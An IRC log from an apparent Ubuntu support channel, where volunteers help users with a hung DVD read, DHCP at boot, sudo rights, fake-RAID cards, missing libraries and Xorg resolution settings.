[04:15] <Hansel> yes... bad hair can cause a number of issues... hehe.
[04:16] <draeath> ls -Llah ./ | grep .bin
[04:16] <draeath> get anything with that?
[04:16] <hakrzcode> ken, can't eject? disk? open console, and type lsof /media/usbdisk, or whatever the disk is. then paste at http://paste.ubuntu-nl.org/
[04:16] <ken> adaptr: i am not sure what state means in this case but the 'status' is uninteruptable...
[04:16] <lotacus> check your video card
[04:16] <lotacus> as well
[04:16] <h3xis> noobcook, haha i didnt know you were in #2600
[04:16] <ken> adaptr: I have never heard of a statust like that
[04:16] <lotacus> becuase if your video card is overheating IE: the fan is not working, your os will freeze up
[04:16] <katabatic> anybody knowledgeable who can help me with my connection problem?
[04:17] <noobcook> h3xis: =p
[04:17] <Hansel> katabatic, describe...
[04:17] <draeath> katabatic, depends. just fire away and we'll help if we can
[04:17] <katabatic> trouble is I fired a way a million times already
[04:17] <draeath> katabatic, nice name, BTW - Tribes rules
[04:17] <katabatic> Tribes haha
[04:17] <katabatic> yes
[04:17] <katabatic> I played Tribes 2 1 hour ago
[04:17] <draeath> shazbot!
[04:17] <Hansel> moagg > * games
[04:17] <ctrl> hansel: cant be bad ram, its one gig brand new
[04:17] <draeath> too bad this computer can't deal with it
[04:17] <corrupted> nothing happens when i click tab
[04:17] <ken> hakrzcode: it is a dvd and lsdvd is stuck...
[04:17] <draeath> anyways... whats the trouble?
[04:18] <Hansel> ctrl - vid card, ram, motherboard... even if they are new they might be jalopys from the bunch.
[04:18] <hakrzcode> ken, killall -9 lsdvd
[04:18] <ken> it says that is has a status of 'uninteruptable
[04:18] <draeath> corrupted, then the file is either not there, or it does not start with what you have typed.
[04:18] <Hubris2> Can anyone give a hand getting Compiz running under edgy?  I followed a howto...and nothing has changed....
[04:18] <puff> So I downloaded the easybuntu_latest.deb and then did "sudo dpkg -i easybuntu_latest.deb", now what?
[04:18] <puff> There's no man page fo rit.
[04:18] <corrupted> its there and it does i see it on my desktop :S
[04:18] <Hansel> Hubris2, try #compiz or #beryl
[04:18] <Hubris2> Hansel - will do....thx
[04:18] <draeath> corrupted, then its in /home/USER/Desktop
[04:18] <ken> hakrzcode: I tried kill -9 2345 (proc id...
[04:18] <draeath> corrupted, not in /home/USER/
[04:18] <hakrzcode> if you did it in a terminal, then close the terminal that you opened it in, also. the command is a child of the terminal. that will give it an extra boot.
[04:19] <lotacus> Hubris2: compiz is hella lot easier to get working then beryl.
[04:19] <lotacus> I have a few bookmarks I can send ya
[04:19] <Hansel> lotacus, he left  :(
[04:19] <ken> hakrzcode: I tried it your way an it does nothing
[04:19] <lotacus> oh
[04:19] <lotacus> well
[04:19] <lotacus> too bad
[04:19] <xelanil> How do I make ubuntu connect to a free hotspot automatically
[04:19] <Hansel> heh.
[04:19] <puff> katabatic: hm, you're having problems with dhcp-on-boot?
[04:19] <draeath> ken, is the process status Z?
[04:20] <Hansel> you might /notice or /msg him?  :)
[04:20] <corrupted> dreath now im confused the filename is Install_DigiChat.bin so what would the full coding be?
[04:20] <linux_user400354> how can i make a normal user have full privileges like root does?
[04:20] <katabatic> yes
[04:20] <hakrzcode> ken, still hanging? after kill -9, and close terminal? Then you have to do the dreaded, hit the big button, and reboot.
[04:20] <h3xis> linux_user400354, that's bad. dont do it
[04:20] <Hansel> linux_user400354, visudoers and add them in there...
[04:20] <katabatic> my problem is that, at boot, it won't automatically get an IP address from the router via DHCP. I have to disable/enable the card in network settings, or type some command to enable it, then it connects. I perhaps did something that caused this, but I can't figure it out!! it worked perfectly before.
[04:20] <ken> draeath, how can i check that?
[04:20] <draeath> corrupted, its on your desktop? what is your username?
[04:20] <corrupted> corrupted
[04:20] <puff> I'm trying to remember, I read something about this topic last year when I was monkeying with a package that attmepts to help you do that.
[04:20] <draeath> ken "pgrep command | ps" should find it for ya
[04:20] <draeath> ken substitute command with all or part of the process name
[04:21] <puff> katabatic: what packages have you installed lately?
[04:21] <ken> hakrzcode, it is... after all that
[04:21] <slestak> i think i screwed up my sources.list  im getting a Bad Gateway error when hitting us.archive.ubuntu.com for 6-7 repositories
[04:21] <Hansel> linux_user400354, you add them to /etc/sudoers... man sudoers for info on how to make entries.  Keep in mind you will want to give this only to people you trust.  :)
[04:21] <draeath> corrupted, /home/corrupted/Desktop/Install_DigiChat.bin
[04:21] <katabatic> wired, btw
[04:21] <oidia> bash: reboot: command not found
[04:21] <draeath> corrupted, letter case (a, A, b, B) matters
[04:21] <Hansel> oidia - shutdown -r now
[04:21] <linux_user400354> Hansel: just append the username to the bottom of the file i get from visudo?
[04:21] <katabatic> puff:  trouble is  I can't remember exactly. but mostly a network manager or 2 or 3 and power saving utility. I might have done something else that broke it, BUT I just CANNOT figure out what!
[04:21] <oidia> Hansel: bash: shutdown: command not found
[04:21] <corrupted> Thanks you saved my life
[04:22] <Hansel> linux_user400354, look at the other entries and mimic them.
[04:22] <hakrzcode> ken, yes, it is probably the walking dead, as draeath is trying to get you to check. reboot is the thing that works for me, when nothing else will.
[04:22] <Hansel> oidia - you will need to sudo it  :)  man shutdown
[04:22] <host`> I need to create a new environment variable, but I can't use the command 'export' , is there an ubuntu equivalent?
[04:22] <corrupted> dang now i have another error
[04:22] <oidia> Hansel: root@gaisha:/# shutdown -r now
[04:22] <oidia> bash: shutdown: command not found
[04:22] <ken>  draeath, it just returns the proc id
[04:22] <Hansel> oidia - sudo shutdown -r now
[04:23] <steelb> i can't connect to anyone in GAIM, any ideas on how to fix it (i am behind a router)
[04:23] <draeath> ken, zombie processes cannot be killed - they will die as soon as they do something else. TERM signals cannot be blocked
[04:23] <Hansel> host` - http://ubuntuforums.org/archive/index.php/t-1586.html
[04:23] <katabatic> anybody??
[04:23] <h3xis> oidia, are you trying to shut down?
[04:23] <oidia> Hansel: whell, /etc was empty...
[04:23] <slestak> http://paste.ubuntu-nl.org/1256/ shows what im getting
[04:23] <carlb> howdy, I just installed ubuntu server (after installing debian) and it was a much nicer experience. I do have a problem though, this apt-get server causes a 502 Bad Gateway Error http://us.archive.ubuntu.com/ubuntu/dists/dapper/main/
[04:23] <host`> steelb, being behind a router shouldn't matter with gaim
[04:23] <ken> draeath, thankyou...
[04:23] <oidia> h3xis: trying to reboot, but i did it manualy now
[04:23] <draeath> ken, then do 'ps ID'
[04:23] <corrupted>  error while loading shared libraries: libstdc++-libc6.1-1.so.2: cannot open shared object file: No such file or directory
[04:23] <h3xis> oidia, oh. "reboot" works :P
[04:23] <slestak> carlb: ahh, im getting that too.  i thought i screwed my machine up
[04:23] <oidia> i think i messed something up
[04:23] <draeath> katabatic, whats the actual problem?
[04:24] <xelanil> does anyone know how to connect to a free hotspot automatically?
[04:24] <oidia> h3xis: i know, but it diden't
[04:24] <Hansel> carlb - /etc/apt/sources.list ... comment it out (#) temporarily and apt-get update
[04:24] <draeath> katabatic, i think i joined channel after you stated it
[04:24] <xelanil> oh
[04:24] <draeath> xelanil, set your ESSID to "ANY"
[04:24] <xelanil> okay
[04:24] <draeath> xelanil, it should assocaite with the best signal
[04:24] <oidia>  /etc was empty... i will be surprised if it comes up again
[04:24] <carlb> Hansel: should slestak and I just assume it is network related issue?
[04:24] <ken> draeath: 11829 ?        D      0:00 lsdvd -xp /dev/dvd
[04:24] <Hansel> oidia - if you rm'd stuff accidentally then dont expect shutdown to work. :)
[04:25] <Hansel> carlb - sure.... did you try to ping it?
[04:25] <carlb> I was surprised I could get to the server via http
[04:25] <oidia> Hansel: i dident remove, maybe unmounted, or encrypted :P
[04:25] <corrupted> ok i found out the problem i need java is there an easy command to download java?
[04:25] <Hansel> carlb - just comment it out and try again tomorrow...
[04:25] <draeath> ken, not zombie. looking it up...
[04:25] <carlb> thanks a bunch Hansel
[04:25] <oidia> Hansel: it will be interresting to se if it starts..
[04:25] <Hansel> oidia - in any event get a boot disk and fsck the unmounted filesystem...
[04:26] <ken> draeath: Thank you... you are a lot of help
[04:26] <Hansel> oidia - you may have a reinstall in the not-too-distant future.  :(
[04:26] <katabatic> my problem is that, at boot, it won't automatically get an IP address from the router via DHCP. I have to disable/enable the card in network settings, or type some command to enable it, then it connects. I perhaps did something that caused this, but I can't figure it out!! it worked perfectly before.
[04:26] <oidia> Hansel: it came up again =)
[04:26] <oidia> im surprised :P
[04:26] <Hansel> oidia - congrats. :)
[04:27] <Hansel> katabatic - look in your rc.local startup scripts... maybe its loading an incorrect parameter or something?
[04:27] <oidia> ant /etc/ exists again :P
[04:27] <linux_user400354> oidia: poweroff
[04:27] <oidia> linux_user400354: thats what i did =)
[04:27] <ronacr> hi from the newbie :)
[04:28] <Hansel> hi from the balding old man :(
[04:28] <draeath> ken, Uninterruptible sleep (usually IO)
[04:28] <draeath> ken, the process is doing nothing (0 CPU usage) while waiting for a device to tell it something
[04:28] <puff> katabatic: sudo fgrep apt /var/log/auth.log
[04:28] <ken> draeath: what could be done...?
[04:28] <puff> katabatic: To figure out what you've installed recently.
[04:28] <ken> draeath: how can i kill it
[04:28] <carlb> slestak: try again, it started working for me all of a sudden
[04:29] <ronacr> I need a little help with edgy, may i ask someone?
[04:29] <draeath> ken, not sure, give me a few and ill see what i can find
[04:29] <Hansel> ronacr - you didn't say "mother may I?"
[04:29] <draeath> ken, does your DVD drive show any access? (the tray light)
[04:29] <ken> draeath: ok
[04:29] <ronacr> mother may I
[04:29] <katabatic> puff: one sec
[04:29] <Hansel> yes you may!
[04:29] <michael20la> is there anyway i can get grub to display the graphical menu w/ the password feature enabled?
[04:29] <Hansel> michael20la, surely... man grub
[04:30] <ronacr> Segmentation fault (core dumped) ??
[04:30] <adaptr> !ask |
[04:30] <ubotu> : Don't ask to ask a question. Just ask your question :)
[04:30] <ronacr> when i run maya
[04:30] <adaptr> ronacr: that's not a question - is it ?
[04:30] <Hansel> ronacr - core dumps are the kernels way of saying "I give up"
[04:31] <adaptr> ronacr: a core dump is an application crash that could not be handled more gracefully
[04:31] <Hansel> ronacr - what application were you trying to run/what were you doing/how can you recreate the error?
[04:31] <ken> draeath: yepp! on solid...
[04:31] <draeath> ken, in the meantime, one thing I try on my laptop (which seems to work) is hitting the eject button quickly and repeatedly... every time I do hit mine, it stops reading for a second (not sure why - hardware i think) and if I do it enough the kernel notices read trouble and aborts
[04:31] <ronacr> Maya 8
[04:31] <ronacr> installed perfectly without any errors
[04:31] <adaptr> there is a Maya 8 now ?!?!
[04:31] <ronacr> yep
[04:31] <Hansel> ronacr - strace maya ... try to recreate the error and that will give lots of info on what went awry.
[04:31] <hakrzcode> ranacr, core dumps are a dump of memory, for the developer to attempt to figure out the problem, when the prog cannot recover from an error.
[04:32] <adaptr> ronacr: duh, of course it *installed* without any problems - only Windoze manages to crash while copying files...
[04:32] <noobcook> Hansel: im having trouble compiling a tarbal
[04:32] <draeath> anyone, is there any way to make an ATAPI drive abort a read attempt? like if its stuck trying to read from a scratched disk?
[04:32] <adaptr> noobcook: *compiling* a tarball ? do you mean creating one ?
[04:32] <Hansel> noobcook - tar -zxvf thefile.tar.gz         ./configure          make           make install
[04:32] <noobcook> ahhh
[04:32] <adaptr> draeath: well, you could try killing the device node...
[04:32] <ronacr> what did you mean with "strace maya" ?
[04:32] <noobcook> ty
[04:32] <steelb> are there any messenger proggies that i can actually direct connect to my friends over AIM (Gaim is too buggy)
[04:33] <adaptr> ronacr: strace is a command.. you run it
[04:33] <Hansel> ronacr - from an xterm issue that command...
[04:33] <Hansel> steelb - I always recommend gaim.  :(
[04:33] <hakrzcode> steelb, gaim is too buggy? How so?
[04:33] <draeath> adaptr, ken is having the issue. lsdvd had his /dev/dvd ripping open spacetime
[04:33] <steelb> i can't connect to anyone over it
[04:33] <adaptr> noobcook: that won't work as written, since it will create a subdirectory
[04:33] <Hansel> steelb - you can always try naim if you are a CLI (command line interface) type of guy.  :)
[04:33] <adaptr> draeath: I know, but you arsked...
[04:34] <biotrox> anyone knows where indonesian mirrors located..?
[04:34] <steelb> man, i want something easy...
[04:34] <Hansel> biotrox - look up the mirrors on the main ubuntu site.
[04:34] <iketurner> is there a webpage with good mirrors
[04:34] <noobcook> yeh it has a script though
[04:34] <adaptr> in..erm, wait I know this one .. Indonesia ? :)
[04:34] <hakrzcode> draeath, allow ken to reboot the computer. Wasting time to wait for the process, is too much.
[04:34] <iketurner> thanks hansel
[04:34] <biotrox> where's that
[04:34] <Hansel> np iketurner
[04:35] <draeath> hakrzcode, the process is sleeping, the DVD drive is what won't give up and go 'read error'
[04:35] <cyphase> is the US repository server down for anyone?
[04:35] <ken> draeath, i got it...
[04:35] <ronacr> hey guys,
[04:35] <draeath> cyphase, some of us are getting sporadic 502 BAD GATEWAY
[04:35] <Hansel> cyphase - I think a few people have complained about it giving bad gateway errors or something... just update your /etc/apt/sources.list and comment it out temporarily
[04:35] <ronacr> i did strace maya
[04:35] <cyphase> same here
[04:35] <biotrox> !main repositories
[04:35] <adaptr> draeath: the process is *not* sleeping; it is waiting for I/O
[04:35] <draeath> cyphase, keep trying or wait and try it later
[04:35] <ronacr> EBADF (Bad file descriptor)
[04:35] <hakrzcode> draeath, if his dvd is corrupted, or his drive is on the blink, like mine, then he will be waiting forever. reboot is faster.
[04:35] <adaptr> subtle difference
[04:35] <ken> draeath, Just shove a needle in to the tiny hole and the dvd pops up
[04:35] <cyphase> i've already switched to the man server
[04:35] <cyphase> main*
[04:35] <ronacr> I got lots of these:
[04:35] <ronacr> EBADF (Bad file descriptor)
[04:35] <ken> draeath, and the proc dies
[04:35] <draeath> ken, likely your drive won't work untill reboot though
[04:36] <Lam_> how do i use the ubuntu boot disc to boot into a terminal?
[04:36] <noobcook> i get errors returned on make Hansel
[04:36] <Hansel> Lam_ when it first boots up it should have a break where you can type in an option to go to a recovery console
[04:36] <draeath> ken, the emergency eject doesn't play nice until power is cut to the drive, usually (to reset the servos, and such)
[04:36] <adaptr> Lam_: wait for it to boot completely, then press CTRL-ALT-F1
[04:36] <Hansel> noobcook - pastebin them... probably need libs installed
[04:36] <dabaR> Lam_: the desktop CD?
[04:36] <draeath> ken, unless you don't have a cheap drive like me :D
[04:36] <Lam_> yeah. the desktop cd
[04:36] <hakrzcode> noobcook, what are you compiling? most progs are findable in debs..
[04:36] <Lam_> ok thanks guys
[04:36] <noobcook> bah deps
[04:36] <draeath> ken, also realize you can kill a disk like that when it comes off the spindle onto the tray at high speed
[04:37] <dabaR> k, Lam_ see ya
[04:37] <ronacr> strace maya, and I get:
[04:37] <ronacr> EBADF (Bad file descriptor)
[04:37] <adaptr> noobcook: you are dissing deb packages but can't even build from source ? weird....
[04:37] <noobcook> its just a network routing program
[04:37] <ronacr> Hansel?
[04:37] <hakrzcode> noobcook, I do not recommend compiling for people new to linux. Because it will lead to alot of vague questions. No offense.
[04:37] <adaptr> noobcook: what kind of routing ?
[04:37] <draeath> ken, the highest speed CDR drives are near the actual speed the discs can handle... think of how fast it needs to go to shatter the disk from sheet centripital force... and think if what happens if a rough surface lays against it at that speed
[04:37] <Hansel> ronacr - dunno what to tell you... I'd google for         linux maya          and that error msg...
[04:38] <draeath> ken, skerrratch!
[04:38] <ken> draeath, I know... seen a few disks go that way
[04:38] <Hansel> s/sheet/sheer  :)
[04:38] <ronacr> Thank you very much,
[04:38] <noobcook> yeh i know but sometimes the only way to install things is to compile amirite
[04:38] <ronacr> I'll chacek
[04:38] <ronacr> check
[04:38] <draeath> ken, just making sure :)
[04:38] <noobcook> ill paste bin it
[04:38] <noobcook> if there was a file that i could double click and install i would =p
[04:38] <draeath> ken, but then again I've rescued a screwdriver-gouged disk before :) resurfacing + sharpie (reduces reflection on error, disk can see closer to the flaw)
[04:38] <dabaR> Hansel: did you see http://www.google.com/linux?
[04:39] <Hansel> dabaR - yes...  :)
[04:39] <adaptr> ronacr: why not just call A|W for the support you paid for ?
[04:39] <hakrzcode> noobcook, you can double click any deb, to install, and it will get the dependencies if they are reachable, in edgy.
[04:39] <draeath> adaptr, because its no fun to call tech support when you haven't buried youself into a hugh pile of complexity
[04:39] <ken> draeath, indeed? actually it seems to have worked here ... I can play the movie now
[04:39] <draeath> adaptr, i know, my customers do it to us all the time
[04:40] <adaptr> noobcook: again, what sort of routing program ?
[04:40] <Hansel> draeath, what do you mean?  That is the BEST time to call support... hehe.
[04:40] <ken> draeath, rebooting gives me a rash
[04:40] <draeath> ken, nice! good drive, mine is pretty poor
[04:40] <adaptr> draeath: I think you sorta missed my underlying mess-age
[04:40] <draeath> ken, i usually have to 'dd' the disk to the drive first because it skips and such (laser is getting bad)
[04:41] <draeath> ken, "dd if=/dev/hdc of=/home/draeath/movie.dvd.iso conv=noerror" works wonderfully :D
[04:41] <ronacr> I hope they'll have some answers, thanx though
[04:41] <draeath> ken, whoops, that was for adaptr
[04:42] <draeath> adaptr, look above at the message to ken
[04:42] <adaptr> draeath: because ?
[04:42] <draeath> apadtr WOW. i got confused. I thought i mixed you up, when i was actually mixing you up thinking that
[04:42] <noobcook> adaptr its so i can log onto my other pc remotly it also has "tcp routing capabilities"
[04:42] <adaptr> draeath: I know, I figured that out already :))
[04:43] <Hansel> I hate when my brain "asplodes"
[04:43] <noobcook> hakrzcode:  http://pastebin.com/857321
[04:43] <adaptr> noobcook: *what is the program*.. sjeez this could go so much easier...
[04:43] <draeath> Hansel, always such a mess.
[04:43] <chefjoeardee> I'm trying to install Ubuntu on my RAID0 (hardware controlled) and I keep getting GRUB Error 2 after the install. Anyone got any ideas?
[04:43] <noobcook> it doesnt have a name its just called sip
[04:43] <subzero800> anyone: how do i add another resolution option for my monitor?
[04:43] <Hansel> subzero800 - edit /etc/X11/xorg.conf
[04:43] <draeath> subzero800, http://ubuntuforums.org/showthread.php?t=83973
[04:43] <adaptr> noobcook: oh, a sip router... and you have a VoIP provider and VoIP capabilities ?
[04:43] <Hansel> look for the section near the bottom with resolutions in " 's and add it in
[04:44] <draeath> Hansel, stop that! heh, thats hard. send em here: http://ubuntuforums.org/showthread.php?t=83973
[04:44] <Hansel> subzero800, for example "1600x1200", "1024x768", "800x600"
[04:44] <hakrzcode> noobcook, please use http://paste.ubuntu-nl.org/ for pasting links. pastebin.com will push me into old age...
[04:44] <draeath> Hansel, already written up
[04:44] <Hansel> draeath, is it in a ! help ?
[04:44] <adaptr> noobcook: to use a PC remotely see VNC or remote desktop or RDP... they all work fine
[04:44] <draeath> !resolutions
[04:44] <ubotu> Sorry, I don't know anything about resolutions - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[04:44] <draeath> !resolution
[04:44] <noobcook> adaptr: i only want the program for its remote capabilites
[04:44] <ubotu> The X Window System is the part of your system that's responsible for graphical output. To restart your X, type "sudo /etc/init.d/?dm restart" in a console - To fix screen resolution or other X problems: http://help.ubuntu.com/community/FixVideoResolutionHowto
[04:44] <noobcook> i hear this ones the best
[04:44] <Hansel> :)
[04:45] <draeath> ...
[04:45] <adaptr> noobcook: yeah, right - "I hear" is my favourite software site as well
[04:45] <hakrzcode> noobcook, you need to install libssl-dev. and sip? you are doing voip?
[04:45] <daning> I want to equip my laptop with ubuntu. Can you tell me whick dist should i choose? ubuntu 6.06 or ubuntu 6.10 ?
[04:45] <chefjoeardee> I'm trying to install Ubuntu on my RAID0 (hardware controlled) and I keep getting GRUB Error 2 after the install. Anyone got any ideas?
[04:45] <draeath> daning, 6.10
[04:45] <adaptr> daning: newest is Edgy (6.10)
[04:45] <iketurner> the latest and greatest
[04:45] <Hansel> noobcook - you need lots of libssl md5 etc
[04:45] <draeath> daning, do you care if you have gnome, kde, or xfce?
[04:45] <noobcook> if i install that i might stuff up my connection
[04:46] <draeath> daning, if you don't know what im talking about, get ubuntu 6.10
[04:46] <adaptr> chefjoeardee: there must be support for the raid hardware in Ubuntu; have you checked this ?
[04:46] <daning> draeath, i dont care
[04:46] <theflyingfool> why might a wireless card that shows up under iwconfig not work?
[04:46] <steelb> whats the linux substitute for microsoft paint?
[04:46] <Hansel> theflyingfool - Murphy's law?
[04:46] <adaptr> the GIMP
[04:46] <noobcook> gimp
[04:46] <draeath> daning, ok, grab 'ubuntu 6.10' AKA edgy eft
[04:46] <adaptr> whahaha
[04:46] <hakrzcode> Hansel, please give the full thing, if you give advice. not half comments. he needs the dev package. he is missing headers.
[04:46] <iketurner> have you scan for the essid
[04:46] <Hansel> gimp isn't the MSPaint equivalent... its MSPaint on steroids with an American Express black card...
[04:47] <daning> draeath, thank you very much
[04:47] <theflyingfool> hansel: whos murphy
[04:47] <chefjoeardee> adaptr: Well I built the Array in bios and such
[04:47] <e1> test
[04:47] <chefjoeardee> adaptr: And Ubuntu sees each drive seperately though.
[04:47] <adaptr> chefjoeardee: an on-board "hardware" RAID solution ? oh bhoy...
[04:47] <michael20la> how do i edit the text shown in the grub menu? (not the os options but the text underneath it?)
[04:47] <gonzo> could anyone help me find a decent .wav tag editor?
[04:47] <Hansel> michael20la, probably grub.conf
[04:47] <chefjoeardee> adaptr: Doesn't sound like a good response you got there.
[04:47] <adaptr> michael20la: /boot/grub/menu.lst
[04:47] <adaptr> chefjoeardee: well, is it ? on-board ?
[04:47] <corrupted> hey guys i need help again
[04:48] <noobcook> hakrzcode:  i thought i had the dev package wen i installed  module-assistant build-essential debhelper debconf dh-make fakeroot libstdc++5 linux-headers-$(uname -r)
[04:48] <corrupted> Launching installer...
[04:48] <corrupted> /tmp/install.dir.21690/Linux/resource/jre/bin/i386/native_threads/java: error while loading shared libraries: libstdc++-libc6.1-1.so.2: cannot open shared object file: No such file or directory
[04:48] <chefjoeardee> adaptr: Sorry, I may have explained it incorrectly. It's a PCI card
[04:48] <iketurner> they have got to do something about the respo servers
[04:48] <Hansel> corrupted, you need to install that lib.
[04:48] <e1> hello, i tried to use thunderbird awhile ago, and now some emails i had before in my regular email account is only viewable in thunderbird, how do i fix this so i can see my mail in my regular account
[04:48] <adaptr> chefjoeardee: do you know what hardware it has ?
[04:48] <subzero800> Hansel: look at this, where do i edit it, (by the way I added those 1280x1024 sections) http://paste.ubuntu-nl.org/1257/
[04:48] <corrupted> i dont know where that lib is :s
[04:48] <chefjoeardee> adaptr: The RAID controllre?
[04:48] <adaptr> of cuorse
[04:48] <Hansel> subzero - http://ubuntuforums.org/showthread.php?t=83973
[04:48] <chefjoeardee> adaptr: http://www.newegg.com/product/product.asp?item=N82E16815124020
[04:48] <hakrzcode> noobcook, you installed the headers for libstdc++, but that does not include the library ssl. each library has it's own development headers.
[04:48] <adaptr> I don't really care what hardware your coffeemachine has....
[04:49] <Hansel> corrupted - apt-get install libstdc
[04:49] <iketurner> lol
[04:49] <michael20la> adaptr & Hansel: nope. looking to change the headers and footers of the menu not the entries
[04:49] <noobcook> ah ok
[04:49] <adaptr> michael20la: hack the source
[04:49] <noobcook> hakrzcode: cant do anything now coz apt get is in use so ill have to wait
[04:49] <gonzo> chefjoardee > purchase a hardware raid controller, you will not be disappointed
[04:49] <chefjoeardee> I have one
[04:49] <adaptr> chefjoeardee: 25 dollars.. no need to look further
[04:49] <chefjoeardee> I cant get it to work.
[04:49] <hakrzcode> noobcook, ok.
[04:49] <gonzo> what brand?
[04:50] <chefjoeardee> http://www.newegg.com/product/product.asp?item=N82E16815124020
[04:50] <adaptr> chefjoeardee: do not use the card's crap  - just create a software raid-0 in UBuntu
[04:50] <corrupted> corrupted@corrupted-desktop:~$ sudo  apt-get install libstdc
[04:50] <corrupted> Password:
[04:50] <corrupted> Reading package lists... Done
[04:50] <corrupted> Building dependency tree
[04:50] <corrupted> Reading state information... Done
[04:50] <corrupted> E: Couldn't find package libstdc
[04:50] <adaptr> !flood | corrupted
[04:50] <ubotu> corrupted: pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste - see also the #ubuntu channel topic)
[04:50] <gonzo> chefjoardee > that isn't a raid controller
[04:50] <chefjoeardee> adaptr: I guess I could. The card was a gift but... I'd hat eto just throw it away
[04:50] <corrupted> sorry
[04:50] <chefjoeardee> Err
[04:50] <chefjoeardee> Sata controller
[04:50] <chefjoeardee> It's built into a raid though
[04:50] <gonzo> chefjoardee > that is a sata controller
[04:50] <adaptr> chefjoeardee: no reason to throw it away - just don't use it as a fake raid solution
[04:50] <gonzo> you need to get a hardware raid controller
[04:50] <Hansel> michael20la, I recommend you google.... :(
[04:51] <adaptr> chefjoeardee: "built into a RAID" ? that has no meaning
[04:51] <chefjoeardee> gonzo: During boot it goes "Press F4 to configure" and it built a RAID array for me.
[04:51] <corrupted> it said its not found
[04:51] <tkooda> does dapper already have an update for the change to the US DST (daylight savings time change new in 2007) for the US?
[04:51] <katabatic> SOMEBODY HELP PLEASE! my problem is that, at boot, it won't automatically get an IP address from the router via DHCP. I have to disable/enable the card in network settings, or type some command to enable it, then it connects. I perhaps did something that caused this, but I can't figure it out!! it worked perfectly before.
[04:51] <adaptr> gonzo: he "needs" nothing - please stop spamming
[04:51] <chefjoeardee> adaptr: It had me pick RAID0, RAID5, or RAID10. I built a raid0.
[04:51] <corrupted> E: Couldn't find package libstdc
[04:51] <PORDO> can someone show me how to make my sound cards load in the right order? http://google.com/notebook/public/00221891507267986120/BDUsxIgoQ7p_zw8Ah
[04:51] <adaptr> chefjoeardee: believe what you please - 25 dollars does *not* buy you a real hardware RAID solution... 150 dollars *might*, but more likely in the range of 250 plus
[04:52] <hakrzcode> corrupted:  apt-cache search libstdc
[04:52] <chefjoeardee> adaptr: Okay. So delete the raid and just install like normal?
[04:52] <magefile> i pushed the mouse sensitivity all the way up in system->mouse, but it's still too slow.  can anyone help me make it more sensitive?
[04:52] <chefjoeardee> adaptr: Then setup a software RAID later?
[04:52] <noobcook> lol cool ledemente u have bigpond too =D
[04:52] <ledemente> Hi all.
[04:52] <gonzo> chefjoardee > http://www.newegg.com/Product/Product.asp?Item=N82E16816102080
[04:52] <ledemente> XD
[04:52] <ledemente> Just got cable. : )
[04:52] <e1>  hello, i tried to use thunderbird awhile ago, and now some emails i had before in my regular email account is only viewable in thunderbird, how do i fix this so i can see my mail in my regular account
[04:52] <adaptr> chefjoeardee: the defining characteristic of real hardware RAID is that the system, OS and BIOS *cannot* see the real drive sunderneath - they only see the RAID array
[04:52] <chefjoeardee> gonzo: may have to do that after this.
[04:53] <Hansel> katabatic, I am not sure why it stopped working... as a work around (cheezy but it should do the trick) you can edit your /etc/rc.local and add the command you use to restart the network service in there... it will run at the end of your boot process and hopefully get it going.
[04:53] <corrupted> k it pulled all this c++ library v3 @ hakrzcode
[04:53] <theflyingfool> does anyone know what chipset belkin usb wireless cards use
[04:53] <ledemente> I'm having a few issue with 6.10... :(
[04:53] <chefjoeardee> adaptr: Yeah. I thought that's how it should work..
[04:53] <magefile> i'm using a powerbook, and the touchpad is ignoring my "tap to click", so if anyone can help with that too, that'd be wonderful
[04:53] <Lam_> smartctl -t long reports i have bad sectors on my hard drive, but i booted up from the live cd and ran fsck -f on the drive, and it reports nothing out of the ordinary
[04:53] <gonzo> could anyone help me find a decent .wav tag editor?
[04:53] <adaptr> chefjoeardee: yes, delete and just fire up the Ubuntu CD - during the install you will have the option to create LVM/RAID disks.. do so
[04:53] <adaptr> gonzo: wav files do not have tags
[04:53] <chefjoeardee> adaptr: Sadly enough, this is my first computer I've ever built. It's going to be a fileserver, got 1TB and all that.
[04:53] <chefjoeardee> adaptr: Okay will do.
[04:53] <Hansel> gonzo - google... there are probably tons of options out there.  Linux usually has 8 pkgs to do 1 task that you can choose from.  They should have recommendations out there.
[04:53] <ledemente> ie, there are funny lines across the screen, and it seems to be freezing a lot - though my VGA card is quite old.
[04:53] <adaptr> chefjoeardee: how many drives ?
[04:53] <chefjoeardee> adaptr: 4
[04:54] <gonzo> thanks assclowns
[04:54] <subzero800> anyone: I created a modline, i just dont know where to paste it exactly look at this, where do i edit it, (by the way I added those 1280x1024 sections) http://paste.ubuntu-nl.org/1257/
[04:54] <adaptr> chefjoeardee: one free tip: for a fileserver, or any kind of server you don't want to die on you, you DO NOT use RAID-0
[04:54] <ledemente> Anyway, real issue is: Do I need a port open to be able to send webcam?
[04:54] <Hansel> ledemente, most likely.  :)
[04:54] <chefjoeardee> adaptr: I've got the really important stuff backed up on my main box, my external, and offsite.
[04:54] <gonzo> chefjoeardee > RAID 5 is your friend
[04:54] <adaptr> chefjoeardee: RAID-5 is for you, and unless the card also has 4 physical ports on it, do not use it for all 4 drives
[04:54] <hakrzcode> corrupted, search for glibc.
[04:55] <ledemente> I can't send or receive it, using kopete... Hansel?
[04:55] <chefjoeardee> adaptr: It's got 4 internal, 4 external
[04:55] <ledemente> That is a yes?
[04:55] <ledemente> Hm.
[04:55] <adaptr> chefjoeardee: a RAID-0 "file server" is an accident waiting to happen
[04:55] <Hansel> ledemente - google for the port that kopete uses then open it on your router/firewall.
[04:55] <jadacyrus> Beryl is now crashing X after latest edgy updates
[04:55] <ledemente> I know what it is already - but thanks.
[04:55] <ledemente> ({)
[04:55] <chefjoeardee> adaptr: It's mostly for stuff that I dont want to keep on my box. The really important stuff is backed up in three seperate places. I know that much at least
[04:55] <corrupted> and glibc should take care of the problem @ hakrz?
[04:55] <ledemente> Hope you're not too miffed, BYYYYEEE!
[04:56] <Oni-Dracula> anyone know how to change what audio device a game (UT2K4) uses and what device an audio player (Exaile) uses?
[04:56] <chefjoeardee> adaptr: Appreciate the info. I'm going to go install again. brb. Thanks again.
[04:56] <adaptr> chefjoeardee: set up a simple RAID-5 with LVM; you lose 250GB but you gain pretty much everything
[04:56] <subzero800> anyone: Here is my xorg, where do I put my modline? http://paste.ubuntu-nl.org/1257/
[04:56] <mag_> can somebody help me with samba+ACL's ? please !
[04:56] <draeath> subzero800, put the modeline in the MONITOR section
[04:56] <draeath> subzero800, want a peek at my x.org?
[04:57] <subzero800> draeth:sure
[04:57] <Hansel> line 141 subzero800
[04:57] <subzero800> how do i count lines?
